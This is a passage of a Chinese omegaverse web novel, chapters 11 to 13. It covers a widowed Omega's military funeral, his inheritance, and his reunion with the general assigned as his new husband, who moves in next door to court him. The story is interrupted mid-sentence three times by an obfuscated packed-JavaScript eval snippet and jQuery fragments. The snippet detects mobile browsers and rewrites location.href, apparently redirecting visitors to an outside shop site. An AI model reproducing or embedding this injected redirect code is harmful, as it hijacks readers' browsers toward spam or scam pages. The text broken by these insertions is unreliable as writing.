孟逐星低头,两滴滚烫的泪“啪嗒”一声,砸在他的手背上。
11. 第 11 章
11/七流
参商想,葬礼很难熬,漫长的有些无聊。
这里是室外陵园,做了一些哀悼的装饰。墓碑已经立好,挂着百里泽的证件照。黑白两色,下面是他的生平。
人的一生,最后也不过几行字。
参商背后是墓碑,面前是媒体和远道而来的官员。
自从他入场那一刻,媒体的镁光灯就没停过。
不断有陌生人上前,劝他节哀。每当这时候,雷平就会小声介绍对方的姓名和职位。
一切跟他有关系,又仿佛没有关系。
人们需要的是“百里泽遗孀”,不是参商。
面纱之下,他甚至不需要假装流泪。
参商甚至饶有兴致地想,早知如此,就该雇人帮他出席,效果应该差不多。
拐杖握太久,手有些疼。而且风也好大,很冷。
死鬼丈夫真是走了都不让他安生。
大概十分钟后,军部的仪仗队到了。道路两侧的战士开始朝天鸣枪。
身穿军装的士兵扛着灵柩,正步走进陵园。陵园全体来宾起身,目迎着灵柩,气氛庄严肃穆。
参商看了眼,就开始走神。他知道,棺材里面是空的。
参商身体不太好,站久了很累——和早死的丈夫有些关系。百里泽常年不在家,他发情期到了,就只能服药。
药物模拟的是百里泽的信息素。
有时候管用,有时候反而会让情潮更加严重。
……参商以前一直以为片里那种出水量是后期特效来着。
时间一长,难免患上信息素紊乱综合征。
这病可大可小,症状轻的时候跟感冒似的,严重时甚至会危及生命。参商的病情差不多在两者之间。
棺材被小心翼翼抬进事先准备好的墓穴中。
台下突然传来一阵短暂的躁动。
参商一愣,侧头,刚好看见一个高大的Alpha,从前方走来,代替神父,站在了墓碑前方被白色菊花簇拥的讲台上。
参商反应了片刻,才意识到他是谁。
孟逐星。
他穿着黑色的军装,少将衔,胸前挂满勋章。刘海用发油往后梳着,露出额头,眉眼和五官一样锋锐,看上去很是意气风发。
参商感觉有点奇妙,毕竟他印象里的孟逐星还停留在十几年前。
之前是Beta,鼻子不好使。现在是Omega,孟逐星的存在感变得格外令人不适。
他只是站在那,参商就有点想跑。
……上次让他有这种感觉的还是百里泽。可惜跑不掉。
心理因素吗?毕竟这两人名义上都是他的丈夫。
参商收回目光。
流程里有一项是念祭文。孟逐星站在台前,开始致辞:“百里泽中将是我肝胆相照的战友,他的死讯令我悲痛万分。”
发言才开始没多久,一个陌生面孔抬着叠凳走来,把凳子在草坪上放好。
他微笑着,低声道:“您好,孟少将说仪式流程很长,您可以坐着休息一下。”
果然,孟逐星一念就是五六分钟。
发音标准、得体。很难想象,当年那个野人花了多大代价才走到今天。
所有人都在往前走,像一场戏剧总会走向高潮;只有他因为突如其来的意外提前谢幕。
哭着闹着不肯退场又能怎么样呢?
他只是新人演员,还没来得及当上那个有决定权的幕后导演。
参商走了一会神。
等他回过神时,祭文念到了尾声,而他不知何时开始,已经满脸泪痕。
孟逐星念着:“百里泽一生忠于国家、忠于使命。他的牺牲,是第三军团的重大损失。”
“谨此表示沉痛哀悼,并向其家属致以深切慰问。”
他终于说完了。
也只有在念到最后一句时,孟逐星才敢发乎情止乎礼地回头,看参商一眼。
……
下葬,填土。仪式结束。
参商坐在庇护所军区政治部办公室内,签署自己的名字,领取百里泽生前的遗物。
也许是怕他是个文盲吧,军部官员耐心解释着一项项条款。
“您是百里泽中将唯一的亲属,根据联盟法律,您可以继承他的24套房产,3颗矿物能源星的开采权和一笔家族信托基金分红。您是军属,遗产税会由军部替你补交。另外,抚恤部门每月会定期向您账户汇款一笔伤亡补贴,为期20年。”
军部自己有一个独立的金融部门,下面设有很多基金会;金融资产收益用于战争之外的日常开支。
阵亡士兵家属的抚恤金,就是从基金会的收益里取用的。
他们会强制留下一半的阵亡抚恤金,并投入基金会中,每月的资产收益作为补贴发放,到期后,一次性/交还本金。
这是因为有很多诈骗集团会专门盯着寡妇做杀猪盘。
雷平补充:“这算你的婚前财产,受法律保护。”
参商摘掉头纱,叠起放在一边。
他低垂着眼眸,看着一项项收入,心想怪不得手机给他推的弱智小说,里面的omega开局总是死了当兵的丈夫。多死几个他都能当星球首富了。
办公室里Alpha浓度太高……大多男性Alpha哪怕没有刻意催发信息素,闻起来也是各种烟味、酒味……女性Alpha会好一些,会更像是生姜、花椒、薄荷,虽然同样辛辣,但不至于难闻。
参商莫名有些呼吸不畅。
百里泽的遗产挺多,遗物却不多,一个中号的手提箱就能装完。
参商提着箱子从办公室里出来。
推开门,之前递凳子的军官笑眯眯地等在外面:“参先生,您好。我叫唐文,是孟逐星的副官。我们舰长在隔壁等您。”
参商想,来了。他的新任丈夫。
早晚都是要见的。
的确不远,就在一个走廊外的小会议室。
雷平抱着百里泽的遗物,想跟进去,唐文拦住他,商量的语气,说出来的却是不容拒绝的话:“可以让我们长官和新婚妻子单独说两句吗?雷平主任。”
雷平把求助的眼神投向参商。
“没事。”参商拄着拐杖,低声道,“能有什么事?”
孟逐星又不是洪水猛兽。
他们还当过一年半室友,虽然最后那段时间闹得不太愉快……
参商努力回忆着,有些尴尬地发现人可能真的会在记忆里美化自己的行为。
起码他就不记得在军校里揍了孟逐星几次。也不知道他会不会记仇。
哈。二婚嫁给前任丈夫的战友,这情节多少有点眼熟。
……孟逐星看着人模狗样的,哪怕是为了自己仕途,也不至于家暴吧?
唐文替他推开门。
参商看见坐在沙发上的人影在瞬间起身,朝着他走来。
“参商。”孟逐星说,“好多年不见。”
他没有问参商这些年过得好不好。
孟逐星怕自己再多说两个字,喉咙就开始发堵。
参商看见伸到自己眼前的手,礼貌地握了一下。
他想抽回自己的胳膊,孟逐星却反握住他的手,十分自然地牵着他,到沙发上坐下。
空气里没有奇怪的味道,孟逐星的动作也不算狎昵。甚至刚坐下,他的手就立刻松开。
刚好踩在参商能容忍的极限。
孟逐星如同闲聊般开口:“你丈夫是我的战友,我们一起执行的任务。”
这是他一路上背过无数次的台词。
熟悉到都不需要思考,只靠肌肉记忆都能说下去。
“出发前,我跟他互相约定过,如果不幸牺牲,就帮忙照顾对方的家属。”
孟逐星想,他变化真大。头发颜色浅了不少,眼睛也是。那双带着深深褶子的丹凤眼从进房间到现在都是半眯着的,看起来很妩媚。尤其是眼尾和眼睑,都泛着一层明显的肉红色。
之前在办公室,旁边的Alpha军官看得眼睛都直了,一个劲往前凑。等会让唐文记一下那些人名字。
泛红是因为参商哭了。在葬礼上。他戴着头纱,但孟逐星清楚地捕捉到那滴坠落的泪。
……人家是少年夫夫,感情好很正常。
孟逐星心里泛酸,脑子里乱七八糟的,几乎是无意识地继续背诵:“联盟的匹配制度只考虑基因
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213508|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
适配度,我认为这非常不靠谱。”
“我想,与其让你跟不知道底细的Alpha绑定,不如我亲自来照顾你。你放心……”
眼神,语气,神情,还有参商的反应,孟逐星都在脑海里反复模拟过。
其实还有半句,“我们只是假结婚”,但莫名的,孟逐星不是很想说出口。
他想当参商的合法丈夫。
既然百里泽可以,那凭什么他不可以?
“你放心,我会好好表现的。”孟逐星的目光看向他放在一旁的拐杖,貌似不经意地开口,“我刚才就想问的,你的腿怎么回事?”
参商想,他和百里泽关系竟然这么好吗,怎么没听百里泽说过?
他回答:“医生说是因为介虫的神经毒素。这条腿没什么感觉。”
孟逐星微微蹙眉:“15年前那次?”档案记录里只有这一次。
参商有些意外:“对。”
孟逐星:“我记得军部的实验室有在研发新型生物外骨骼,可以辅助行走,很方便,穿戴后就不需要拐杖了。你等会,我打电话问问。”
参商半眯着的眼睛微微睁开。
虽然他不觉得自己是个瘸子很丢人,但生活里确实会有不那么方便的时刻。比如下楼梯,比如洗澡。参商也不能跑步。
……他没有理由拒绝。
孟逐星拿出手机,长长的联系列表往下翻着,貌似不经意地开口:“对了,我们加个联系方式?”
苍兰星再怎么偏僻,星球范围内的网络通讯还是有的。
加上孟逐星后,他的通讯号好友首次突破个位数。
跨星际通讯很麻烦,中途会转接七八个宇宙卫星。信号还不怎么好。
电话等了很久才接通,孟逐星看了眼参商,打开免提:“老高,之前开会你说的那个生物外骨骼投入生产没有?我妻子左腿有残疾,想定制一套外骨骼。”
“行啊,不过我听说你去第八星系了,那么远。最快也要一年后才能送到了。你妻子腿有知觉吗?外骨骼需要触感神经电流操控。我发你张图,你对照着检查一下。”
孟逐星问:“有吗?”
参商不是很确定地回答:“有时候会有一些。”
孟逐星在他身旁蹲下,握住参商的小腿,一寸一寸往上捏:“到哪个位置有感觉了,你跟我说。”
膝盖以下是完全没有感觉的。被捏过的小腿皮肤泛起浅浅的红色。
泛红是因为受到挤压而充血,太好了,这证明参商的腿至少没坏死,还有恢复的可能。
孟逐星皱着眉想,参商有点瘦。
他看起来就一副食欲不振的样子。也不知道是最近才这样,还是一直这样。
孟逐星的手往上,一直捏到参商的大腿内侧,隔着一层西装呢料。
看起来这么瘦,这里居然还有点肉。
参商的睫毛突然一颤:“有了。”
孟逐星下意识抬头,看了参商一眼。结果对方刚好也在看他。
是那种有些警惕和迷离眼神,看起来像是森林里很容易被惊扰的鹿。
这眼神像是一记拷问他良心的鞭子。
孟逐星触电般松手,扫了眼研究员发来的图纸:“8号位。”
电话里的人回答:“行,我让军需处给你发货。”
孟逐星挂掉电话,他保持着蹲下的姿势,有些歉意地开口:“你等我一下,我出去接个电话。”
孟逐星以最快速度起身,闪现到门外。
他进入外面的茶水间,关门,动作一气呵成。
孟逐星面色很难看,开始抱着手机搜索:对别人老婆boqi是正常的吗?
不对,他把别人两个字删掉,改成“自己”。
这当然是完全正常的。
搜索:如何控制生理反应?
猜您想搜:延迟满足
搜索:如何在一段时间内保持清心寡欲?
猜您想搜:化学阉割
搜索:如何在喜欢的omega面前保持风度
猜您想搜:性压抑
……
孟逐星看着一长串的搜索记录,有些绝望地想,他好像真的有点压抑了。
12. 第 12 章
12/七流
参商并没有等待太久,孟逐星很快回来。
他似乎去洗了把脸,鬓角边带着水渍。
孟逐星在旁边的沙发上坐下:“还有一件事。我的舰队里新来了一位军官,叫言成功,来之前他跟我说想见你……需要我替你拒绝吗?”
孟逐星并没有被从天而降的大舅哥冲昏头脑。
言成功说是参商的同父异母兄,却没有参商的联系方式,还需要他来转告,指不定背后有什么龃龉。
不过,孟逐星确实从言成功嘴里问出来一点东西。
参商的生父年轻时在前线的歌舞团工作。
家境好的Omega是不会进歌舞团的。哪怕要为军方工作,也多半是在后勤、审计、战后援助等部门。
联盟的军官有八成都是Alpha,剩下两成是Beta。而歌舞团的成员几乎全是年轻貌美的Omega……会发生什么秘而不宣。
不排除有人正常恋爱,但更多时候,人们对那些omega的称呼会更轻蔑一些,“军妓”。
言成功知道的其实并不多。从小到大,他和这个弟弟甚至见面不超过五次。
当年,参商分化成Omega,是一件晴天霹雳的大事。
言成功读的帝政军校,他们的指挥系的年级首席叫百里泽。长得帅,家世好,据说人品也不错,提起来有口皆碑。
思来想去,言成功从手机里掏出一张参商的照片(注:高中毕业照),借着毕业典礼的酒劲,半开玩笑半认真地把弟弟介绍给他。
晚会上,百里泽没什么表示,眼神从照片上掠过,回复十分礼貌客气。
言成功心想,也是,百里泽这样的天龙人,哪里那么容易心动。
谁曾想,就是这么一张照片,让他成为两任上司的大舅哥。
……
参商没有答应,也没有拒绝。只是含糊不清地回了一句“改天吧”。
于是,孟逐星趁机提出送他回家。
参商握着拐杖,礼貌地回复:“如果你不忙的话……”
“不忙。”孟逐星斩钉截铁地回答,然后惊觉自己过于急不可耐,在停顿2秒后补充,“今天工作已经处理完了。”
不能着急。
如果他只是急色,大可以像百里泽那样,配上后不管不顾,先尽情行使丈夫的权力。
他都不敢想这十几年百里泽吃多好。
但孟逐星贪图的是更珍贵的东西。
他想要参商的爱。
-
参商抱着前任丈夫的遗物,搭着现任丈夫的顺风车,回到家门口。
现任丈夫很绅士地说了句“明天见”,然后开着那辆跑车,在路面上甩出一个难度极高的S型漂移,走了。
参商想,孟逐星现在说话的调子,和百里泽还挺像。
……当然,他也不讨厌就是了。
晚上六点的天空是蓝色调的,剩下最后一缕余晖。
他到家时,隔壁领居正在搬家,热火朝天地打包家具。大货车就停在院门口。
看见参商,邻居太太乐呵呵地上前:“参老师,我要搬家了。”
参商微笑着回答:“恭喜。”
“嗯呐,你也知道嘛,我有三个丈夫。最喜欢的那个丈夫今天接到通知,竟然升职了。要从苍兰星调去第八星系主星铃兰星。他在军队里做文职工作,本来就不容易升迁,不想放过这个机会,问我要不要跟他一起走。”
“其实呢,我本来也在犹豫。毕竟铃兰星也挺远的,而且那边物价很高。但刚好有人联系我,说想买我的房子,价格比市场价高很多呢。”
买家唯一的要求就是她赶紧搬走。
越快越好。
这片区域的住宅采取分配制,住户大多都是军属,买卖也只会内部交易。
参商想,他也许知道买家是谁了。
晚饭随便做了点水煮菜,参商没有太多胃口。吃多了会想吐。
吃完饭,又喝了半杯酒。他坐在沙发上,开始整理百里泽的遗物。
箱子里的东西不多。一套洗过的军装,百里泽的功勋章,和一张装在相框里的黑白遗照。
一个活生生的人……最后留下的实物就这么多吗?
参商捧起他的衣服,轻轻嗅了嗅。
参商讨厌大多数Alpha信息素的气味,尤其是烟味和酒味。
烟味不好闻,他不爱抽烟;酒味会让参商想起当年在校医院闻到的Alpha信息素。
前者是生理意义上的恶心,后者是心理意义上的。
偏偏这两个大类的Alpha最多。
百里泽闻起来是潮湿的,是湖岸边青草的味道。浓烈时会让参商觉得鼻腔湿漉漉的,身体也是。
但正常情况下,衣物不会残留信息素的味道。所以,参商闻到的是洗衣粉的味道。
参商的眼睛总是半眯着,但和旁人意淫的妩媚没什么关系,他只是太累。
他抱着衣服,侧躺在沙发上,连上楼睡觉的力气都要没有了。
放在口袋里的手机在此时震动了一下。
他拿出来,扫了眼,有些头疼和烦闷地揉起眉心。
是孟逐星。
-
新买的房子还没入住,原住户还没搬完。
孟逐星坐在宾馆的办公桌前,桌子上摆满百里泽和参商来往信件的影印附件。
这些信件在档案处都有记录,尽管内容不涉及机密,理论上依然属于保密文件。
孟逐星硬要过来的。理由是为了更好地照顾战友的妻子。
百里泽泉下有知,大概会跳起来打他吧。
百里泽写信怪恶心的,写着写着小头就会控制大头,在柔情蜜意的正文里来上那么两句黄(情)腔(话)。
参商的回复就礼貌克制多了。
一般先写最近在做什么,然后索要一些虫族标本和资料;最后加一句“保重身体,早点回家”。
孟逐星一目十行扫过,眉头紧锁。一股股酸气顺着喉咙往上冒。
理智上说没必要,你又不是第一天知道;身体却很诚实地表达出不适。
孟逐星打开聊天软件,参商的头像是一只小猫的背影。
他这些年其实有很多话想对参商说。但很可惜,大多数话以他们现在的好感度,都不能说。
会很像痴汉和杏骚扰。
一个十六年没见的军校同学,上来就说“我一直暗恋你”,这不是很好笑吗,本质是一种变相的施压,背后是隐秘的感情索取的暴力。
孟逐星也是看了很多书,围观了很多Alpha军官的失败婚姻,才领悟到一件事的。
爱和被爱者无关。
孟逐星在手机上输入:晚上好,我搬家了,正在整理书架。
他发去一张照片。
孟逐星:这本书是你写吧!我看过很多次
——岂止是看过,都快要能背诵全文了。
孟逐星:书里只写了羽虫。我看你在后序里说,打算出版一个系列
孟逐星:我这些年在前线遇到的虫子不少,也杀过很多
——比你前夫多得多。
他可不是天龙人,能有现在的地位和待遇,全是用军功一点一点攒下来的。
孟逐星:我整理过很多资料,如果你有感兴趣的我发给你。不过有些是保密文件,不能直接传,你可以登陆我账号进内网看,或者我口述给你听。
他截图,发过去一份长长的清单。看得出来是精心准备过,几乎是按照参商写羽虫篇的目录填空的。
孟逐星就不信参商会无动于衷。
果然,参商的在线状态变成“输入中”。
孟逐星拿着手机,焦躁又兴奋地等待着。在宾馆里不停踱步。他不爱抽烟的,但很需要什么东西来缓解紧张。
参商似乎写了很长,又或者删删改改思考许久,消息迟迟没有发过来。
过了会,连“输入中”的状态都消失了。
好煎熬。
哪句话没说对吗?不应该啊!
求你了赏我几个字吧,真睡不着了。
就在孟逐星打算检查一下宾馆的信号时,聊天框里终于弹出一条新的消息。
孟逐星从沙发上蹦起来,严肃观看。
参商:谢谢,其实出版计划搁浅了,后续大概不会再出。不过外星虫族我确实一直在研究,如果
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216520|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能借用你的账号非常感谢
-为什么搁浅了?
手机屏幕的光线有点刺眼,参商揉着眉心。微微叹了口气。
书是他写的,他的署名却在银河军校异星学会的后面——出版社编辑似乎不太相信没上过战场的人能有这样的远见卓识,非要动员出版社的人脉,找一下场外援助。
于是,他们找到了异星学会。
学会成员有他当时在军校的理论课教授,参商退学,她一直都很惋惜。
得知参商在研究外星虫族,并打算出版文献,教授很是欣慰,和他书信往来过一段时间,内容是正常的学术交流。顶多有两句长辈对晚辈的鼓励。
结果书籍(《异星虫族研究(羽虫篇)》,以下统称《研究》)出版后,学校教务处收到好几份匿名举报信,暗示他们存在不正常的师生关系。
这是他遇到的第一个尴尬的困境。
看在百里泽的份上,参商没有受到太多刁难,出版很顺利。
编辑部原本是当作关系户的任务来完成的。
但没想到销量这么好。
于是,出版社想进一步挖掘商业价值,希望用他omega的身份炒作。
参商拒绝了。
这本书后来成为好些军校的推荐阅读书籍,他其实是有些高兴的。
热情的军校生们写信到编辑部,希望作者可以来高校讲座,或者开个网上座谈会。
这是他遇到的第二个困境。
参商不是军官,不是高校的教授。甚至,不是专业的研究员。
他只是一个“军校肄业的omega”。
这个形容固然有失偏颇,可从结果看,无从指摘。也许这就是语言的魔力。
参商原以为自己早就接受了自己的处境。
丈夫长得帅又有钱,做.爱的时候虽然xp恶劣了一点,但他也不是不能接受。还有什么好不满的呢?他比世界上的绝大多数人都要幸运。
可比“做不到”更痛苦的,原来是“我本可以”。
百里泽每次晋升,都会兴高采烈地给参商报喜。
在所有家书里,这是他最不爱看的一种。
因为参商不知道要如何处理心中的嫉妒。
他居然会有些恨自己丈夫,就因为对方是个优秀的Alpha军官……天啊,世界上还有比他更阴暗的妻子吗?
虫族,参商还在研究,权当是给自己找点事做。
他是真不喜欢做饭、茶艺和插花。
书,他却不想再出版了。
参商缴纳过很大一笔钱,委托专业公司,在他死后出版生前撰写的文稿。如果有稿费收入,那就汇进名下的慈善基金会。
……这是他能想到的最合适的安排。
【为什么搁浅了?】
参商:学术研究挺累的,我现在身体不太好。
孟逐星回复得很快:我们把身体养好好不好?太伤心了,《研究》我看了很多遍,都要会背了!卧槽,写得这么牛逼,必须有后续!
-其实没有后续也没关系,你把身体养好最重要
-明天我带着资料来你家找你!对了,我把你隔壁那栋房子买下来了,以后我们就是邻居了!
-《研究》我真的看了很多遍,我很喜欢。能不能给我签个名?
参商想,追小男孩的把戏。
他可不是小男孩了。
大概为了证明自己所言非虚,孟逐星一口气发了好几张图。
是一本翻到纸张边缘发黄的《研究》,空白处写满了笔记和补充。
参商把图放大,看了眼。上面的内容竟然不是瞎写的,孟逐星的作战经验完全能作为补充资料。
嗯,参商在《研究》里提到过虫族进化论。这一观点没有受到太大重视,思维的惯性是很强大的,这一学术观点在千年前就被否定过;但孟逐星表达出强烈的认可。
而且,孟逐星拿的是初版书。
《研究》因为销量还行再版过,第一版的作者只有异星学会的名字。
参商的睫毛颤了颤。
那些拧巴又痛苦的情绪依然存在着,但被短暂地抚平了。
[参商:好。]
13. 第 13 章
13/七流
领居搬家速度极快。第二天上午,新的卡车停在门口,开始拆装家具。
参商在二楼卧室的阳台修剪分岔的花枝,余光瞥到隔壁的小院。
运输家具竟然用的是几辆军用专车,车牌号颜色都和其他车不一样。
还真是高调呢。
不过也是,在第八星系首都,孟逐星上头还有几个军界、政界的老领导;在83号庇护所,他完全是肆无忌惮的土皇帝。
很快,孟逐星也从车里跳下来。
今天他没有穿军装,穿了一套看起来很会干活的衣服。背心短袖和工装裤。全然不顾外面已经是树叶长霜的秋天。
孟逐星肤色偏深,是很健康的小麦色。露出的胳膊上有好几道重伤后愈合留下的疤。
楼下的围墙外,孟逐星抬头,看见他,兴奋地朝他挥着手,又蹦又跳的。
“参商——”孟逐星在楼下喊,笑容很灿烂,“我下午来找你!等我!”
说完,也不等参商回答,掉头开始和工人一起搬家具。
参商的眉毛微微挑起。
……都什么年纪了。
不过,热情的邻居总比霸道的少将讨人喜欢吧。
-
参商会做饭,却不太喜欢做饭。
中午,他拆了罐军用营养膏。
营养膏是糊状的,外观看很像猫粮。味道不好吃,但也不难吃。主要成分是淀粉和牛肉,一罐300g。
再吃两片不用煮的生菜,外加几粒营养补剂。一顿饭就这么应付过去了。
吃完的空罐头只需要往垃圾桶一扔,不会增加额外的家务,很方便。
参商会做饭,味道还不错。但只有精神状态良好的时候,有心情照顾一下身体;状态不好就随便应付一下,要不然就等雷平来捞他。
解决完午饭,参商拨出一通电话:“下午的董事会议推迟到明天开,可以吗?”
校长的声音听起来很是尊敬:“好的,没问题。参老师。”
当初的公益中学在苍兰星上开了好几所分校。
参商在三年前还买下了一所破产的民办大学,改名为苍兰星omega专科学院。
这种学校不被联盟正规的学历系统承认,但至少能给年满18又不想立刻配种的Omega一个合理的去处。
今天是学校董事会议,要决定新学期财政预算。
参商对这些不是很感兴趣,但毕竟是自己的产业。这几所学校纯烧钱,学生交的那点学费,压根负担不起福利和工资,纯靠他花钱补贴。
参商没有把这件事当成什么崇高的大事。无非是他想做,并且他有钱。
完全当甩手掌柜是不行的,会有人贪污。
……但孟逐星说要来找他。
尽管孟逐星打乱了他的行程,但参商还是决定给新丈夫一个表现的机会。
下午两点,敲门声响起。
参商腿脚不便,家里很多电器和家具都有无障碍设计。比如墙上会有扶手,门窗能遥控。
不过,参商思考片刻,还是握住拐杖,亲自去打开门。
这才几个小时,孟逐星居然又换了套衣服。他站在门口,手里提着个帆布包,还没说话,脸上先扬起了笑容:“下午好啊,参商。”
平时家里很少来客人,参商给他准备了一双新的拖鞋。
孟逐星走进客厅,好奇地左顾右盼。
记忆里的参商有着近乎强迫症般的洁癖,宿舍里永远是干净到无从下脚的极简风。
他现在的家依然干净,但谈不上简约。客厅像是半个展馆,孟逐星甚至在玄关处发现一排浸泡在福尔马林里的虫族复眼,什么品种的都有。
孟逐星把帆布袋放在餐桌上,很谨慎地没有碰到参商的标本。
参商站在厨房中岛台处询问:“不知道你喜欢喝什么?家里有牛奶、茶和酒。”
孟逐星受宠若惊:“我喝水就行。”
于是,参商打开净水器,给他接了一杯白水。
自己则是从冷藏室拿出一瓶黑加仑利口酒,熟练地倒入酒杯里,然后用乌龙茶灌满。
他的动作很熟练,绝对不是第一次喝酒了。拿着酒杯的姿态都透露出一股糜烂的优雅。
孟逐星记得参商以前从不喝酒。学院年会,有人来给他敬酒,参商笑着拒绝了,他说自己讨厌失控。
记忆里朦胧的月光,正在被这个清晰的影像覆盖着。
参商端着酒盏和水杯,他把玻璃杯递给孟逐星,自己在一旁坐下,小口小口地啄着酒。
孟逐星喝着水,莫名感觉自己喉咙也在跟着发痒。
靠的太近了,孟逐星能闻到他身上丝丝缕缕omega信息素的味道。
若有似无的中药味……不再是那些苦涩的中药,是高温炮制后的木质调香气。熟透了。
孟逐星想,太好了。幸好他有先见之明,来之前就用过抑制剂,要不然现在屋里的味儿应该冲得惊人。没骟过是这样的,控制不住。
他和参商匹配度不太高。
参商也许会觉得他的Alpha信息素很刺鼻。
孟逐星打开帆布袋,莫名很是紧张:“电脑里面有资料,是我权限内可以拷贝的。还有一些是保密资料,你要是有想看的,跟我说一声,我带你去军区办公室。”
参商微微一笑,半眯着的眼睛弯出一个弧度:“谢谢。”
孟逐星看着他,就跟在梦游似的,跟着傻乎乎地笑了,看起来智商不是很高:“你笑了诶。”
孟逐星眼睛都在发光。
忘了是在哪看见的,求偶期的年轻Alpha会更像动物,见过一次的都不会认错。
“……”
这也太明显了。参商想,但是为什么?
后银河时代的人均寿命很长,但依然是18岁成年,25岁左右大脑发育成熟。此后,会维持很长一段时间的壮年期。
孟逐星都38了。正是拉磨的好年纪,但怎么也不算年轻。
参商的笑容敛起,沉默地开始饮酒。
孟逐星开始围绕着参商写过的书找话题,听得出他是认真读过书的,围绕着《研究》展开的话题都很有意思。
渐渐地,连参商注视他的时间都变长了。
他坐在沙发上,孟逐星的身体不自觉地前倾着,往他跟前凑。
参商感觉自己灵魂分裂。一半留在身体里,和孟逐星聊天;另一半飘起,飞到天上,冷冰冰地审视着。
孟逐星竟然真的只是来找他聊天。没有任何令人不适的暗示。
孟逐星:“如果你喜欢羽虫,我家里有一些标本……”
羽虫就是长羽毛的虫子。外观比介虫、臝虫都好看不少,卵生,会更像鸟类。数量比其他种类少很多。
它们浑身覆盖羽毛,行动迅猛,是虫族中的飞行兵。
这群虫子甚至能回流吐气,在真空环境行动,孟逐星遇到过。北辰舰的发动机差点被羽虫啄出个大洞。
参商的态度肉眼可见地冷淡下来:“我不喜欢虫子。”
孟逐星在瞬间意识到自己说错了话,他有些着急的解释:“对不起,我不是这个意思,就是……研究材料。”
参商的酒杯空了。
参商已经忘了是什么时候喜欢上喝酒的。
也许是之前失眠的那段时间?喝醉了意识会直接断开,再醒来时就是天亮了。
宿醉其实并不舒服。可意识领域的疼痛难以捕捉,也没有合适的药物;相比之下,身体的疼痛会更纯粹。
这不是个好习惯,但无所谓了。
他没有拿刀在自己身上乱划已经是意志坚韧。
参商放下玻璃杯,身体慵懒地舒展开,岔开话题:“不是要我给你签名吗?笔在茶几上。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221768|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
看吧,人对自己拥有的权力如此敏锐。
刚察觉到孟逐星的听话,他就开始使唤起来了。
利口酒的度数不高,兑过乌龙茶后更像是酸甜口的糖水;但酒气依然让参商的脸颊微红。他大概是有些热,理了理衬衣领子后,用指尖拨开最上面的一颗扣子。
孟逐星听话地站起来,手忙脚乱地去拿笔。
他想莫非是自己出门前打的抑制剂失效了,心跳得跟打鼓一样,四肢供血不足,手都有些软。
孟逐星不小心踢到垃圾桶,里面什么东西响了一下。
他瞥了眼,看到里面装着的营养膏罐头,一腔热血像被泼了桶冰水。
孟逐星停顿了足足十几秒,这才把笔递给参商。
参商低头,翻开书,在书籍扉页上写下自己的名字。
他说:“我有点困了。”
意思是孟逐星可以走了。
孟逐星犹豫片刻:“参商,我家有人做饭,晚上给你送饭行不行?”
军用营养膏,离开战场狗都不吃。
一想到参商平时会吃这个,孟逐星就觉得心里难受。
参商闭上眼:“随你。”
*
孟逐星刚从参商家里出来,脸上的笑容瞬间沉下。
阳光开朗男大?
喜欢吧,我装的。
他拿出手机,直接拨通言成功的电话。
“之前让你找的厨子呢?今天直接过来。来的路上买些菜。时间不早了,今天晚上做点清淡的家常菜就行。还有,营养师找到了吗?”
言成功本来就负责后勤调度和人事,让他找人虽然有点大材小用,但也算专业对口。
言成功一愣:“要这么急吗?”
任务可是今天上午才交代的。
孟逐星骤然暴怒:“你还**好意思说?你弟身体这么差天天在家吃营养膏你不知道?!我******!”
……他会被人叫“暴躁野猪”,当然不是空穴来风。
在哨塔基地干这么多年,大家都见过孟逐星发火的样子。
他生气也不骂人,发泄情绪纯靠吼,有时候甚至会直接上手揍人。
什么军事法庭?听不懂,揍完再说。
偏偏大多时候,孟逐星都是占理的那个。被打的人敢怒不敢言,毕竟还要等孟逐星收拾烂摊子。
呃,这种性格或许不完全是坏事。
第三军团的元帅就很欣赏他,觉得孟逐星是个纯粹的战士。
言成功被劈头盖脸一顿骂,尽管觉得有些冤枉,却不敢反驳。
半小时后。军队的全A厨师团队提着菜篮子齐聚一堂。
孟逐星家里都没这么多口锅,幸好厨师们早有准备。
没抢到灶台的,就直接院子里劈柴烧火,硬是在简陋的环境下做出一顿满汉全席——笑话,他们可是军队的厨子!本身也是大头兵好吧?!什么恶劣环境都做过饭!没材料的时候还会烤虫子吃呢!
就是他爹的,做饭的时候领导一直背着手,阴沉地盯着他们来回踱步,眼睛血红血红,感觉做饭不好吃的会被直接踹锅里炖了,忒吓人了。
孟逐星不知道参商喜欢什么。
十一个厨子做了四十七道菜,他凭记忆挑了些参商可能会喜欢的菜式,装进保温箱。
晚上六点半,刚好到饭点。
孟逐星提着保温箱,又一次敲响参商家的门。
这次门是自动打开的。孟逐星走进屋内,太阳下山了,参商却没有开灯。
